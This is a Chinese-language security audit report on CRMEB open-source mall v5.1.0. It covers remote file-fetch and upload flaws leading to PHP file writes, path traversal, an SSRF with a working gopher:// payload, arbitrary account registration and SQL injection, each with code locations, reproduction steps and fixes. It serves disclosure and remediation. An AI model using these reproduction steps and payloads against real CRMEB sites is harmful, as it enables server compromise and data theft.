CRMEB开源版代码审计
字数 2119 2025-08-18 11:36:57
CRMEB开源版v5.1.0代码审计报告
0x00 前言
CRMEB开源商城系统是一款全开源可商用的PHP系统。本报告详细记录了在v5.1.0版本中发现的多项安全漏洞,包括高危的远程文件操作、文件上传漏洞,以及中危的SSRF、SQL注入等问题。
0x01 环境信息
- 系统版本:CRMEB开源版v5.1.0
- 系统环境:Windows 11
- PHP版本:7.4.3 NTS
- 数据库版本:5.7.26
- Web服务器:Nginx 1.15.11
- 源码下载:Gitee发布页
0x02 高危漏洞分析
1. 后台远程任意文件拉取(添加直播商品功能)
漏洞位置:
adminapi/controller/v1/marketing/live/LiveGoods.php -> add()
services/activity/live/LiveGoodsServices.php -> add()
utils/DownloadImage.php -> downloadImage()
services/upload/storage/Local.php -> down()
漏洞详情:
- 使用
readfile()函数远程获取文件 - 仅通过黑名单(
php,js,html)校验文件后缀 - 文件名由URL的MD5值生成,格式:
md5(url).ext
复现步骤:
- 准备恶意文件
help.PHP(内容:<?=phpinfo();?>) - 启动HTTP服务(
python -m http.server 19000) - 后台路径:营销->直播管理->直播商品管理->添加商品
- 抓包修改
image参数为http://localhost:19000/help.PHP - 访问生成的文件路径:
/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
修复建议:
- 使用白名单校验文件类型
- 禁止远程文件包含功能
- 生成随机文件名而非URL的MD5值
2. 后台远程任意文件拉取(网络图片上传功能)
漏洞位置:
adminapi/controller/v1/file/SystemAttachment.php -> onlineUpload()
services/system/attachment/SystemAttachmentServices.php -> onlineUpload()
services/product/product/CopyTaobaoServices.php -> downloadImage()
services/upload/storage/Local.php -> steam()
漏洞详情:
- 同样使用
readfile()函数 - 相同的黑名单校验机制
- 通过
/adminapi/file/online_upload接口触发
复现步骤:
- 准备恶意文件同上
- 后台路径:商品->商品管理->添加商品->上传图片->网络上传
- 修改POST数据中的
images参数为恶意URL - 访问生成的文件路径
3. 后台远程任意文件拉取(添加商品功能)
漏洞位置:
adminapi/controller/v1/product/StoreProduct.php -> save()
services/product/product/StoreProductServices.php -> save()
services/product/product/CopyTaobaoServices.php -> downloadCopyImage()
services/product/product/CopyTaobaoServices.php -> downloadImage()
services/upload/storage/Local.php -> steam()
漏洞详情:
- 通过商品详情的
slider_image和attrs参数触发 - 需要设置
type=-1绕过某些校验 - 同样的文件拉取和保存机制
4. 后台任意文件上传(视频上传功能)
漏洞位置:
services/system/attachment/SystemAttachmentServices.php -> videoUpload()
adminapi/controller/v1/file/SystemAttachment.php -> videoUpload()
漏洞详情:
- 使用
move_uploaded_file()函数 - 文件名拼接时使用未过滤的
chunkNumber参数 - 允许路径穿越攻击
复现步骤:
- 后台路径:商品->商品管理->添加商品->编辑器上传视频
- 抓包修改:
chunkNumber为.phpfile内容为PHP代码filename可包含路径穿越字符(如../)
- 文件保存路径:
/uploads/attach/${年}/${月}/${日}/${filename}__.php
修复建议:
- 严格校验上传文件类型
- 过滤特殊字符和路径穿越
- 使用随机生成的文件名
0x03 中危漏洞分析
1. 前台SSRF(获取图片base64功能)
漏洞位置:
common.php -> image_to_base64()
漏洞详情:
- 使用
curl_exec()发起请求 - 支持多种协议:gopher、ldap、file等
- 可通过
code参数传递恶意payload
复现POC:
{
"image":"?.jpg",
"code":"gopher://127.0.0.1:18000/_POST%20%2Fflag.php%20HTTP%2F1.1%0A%0DHost%3A%20127.0.0.1%3A18000%0A%0DContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0DContent-Length%3A%2036%0A%0D%0A%0Dkey%3D00f001523d0b955749ea5e3b0ca09b5f.jpg"
}
2. 任意用户注册(apple快捷登陆)
漏洞位置:
api/controller/v1/LoginController.php -> appleLogin()
services/wechat/WechatServices.php -> appAuth()
services/wechat/WechatUserServices.php -> wechatOauthAfter()
services/user/UserServices.php -> setUserInfo()
漏洞详情:
- 仅需提供
openId参数即可注册 - 默认不强制绑定手机号(
store_user_mobile=0) - 自动生成邮箱等用户信息
复现POC:
{"openId":"asdasdasdqweqwe"}
3. 后台SQL注入(查看表接口详细功能)
漏洞位置:
services/system/SystemDatabackupServices.php -> read()
adminapi/controller/v1/system/SystemDatabackup.php -> read()
漏洞详情:
- 直接拼接
tablename参数到SQL语句 htmlspecialchars无法过滤SQL注入字符- 通过
/adminapi/system/backup/read?tablename=触发
复现步骤:
- 后台路径:维护->开发工具->数据库管理
- 点击"详细"按钮抓包
- 修改
tablename参数为注入payload
0x04 总结与建议
发现的安全问题总结
- 多处文件操作功能未严格校验文件类型和路径
- 使用危险函数(
readfile,move_uploaded_file)时缺乏防护 - 用户身份验证机制存在缺陷
- SQL查询未使用预编译语句
- 存在SSRF风险的外部请求功能
整体修复建议
-
输入验证:
- 所有用户输入都应进行严格校验
- 使用白名单而非黑名单机制
- 对文件操作相关参数进行多重校验
-
安全函数使用:
- 替换危险函数或增加安全防护
- 文件操作限制在特定目录
- 使用预编译SQL语句
-
权限控制:
- 加强身份验证机制
- 关键操作增加二次验证
- 实现最小权限原则
-
日志监控:
- 记录敏感操作日志
- 设置异常行为告警
- 定期审计系统日志
0x05 法律声明
- 本报告仅用于安全研究和技术交流
- 禁止用于非法用途
- 测试需获得系统所有者授权
- 请遵守《网络安全法》等相关法律法规
注:文中涉及的漏洞已报送至CNVD、CNNVD平台。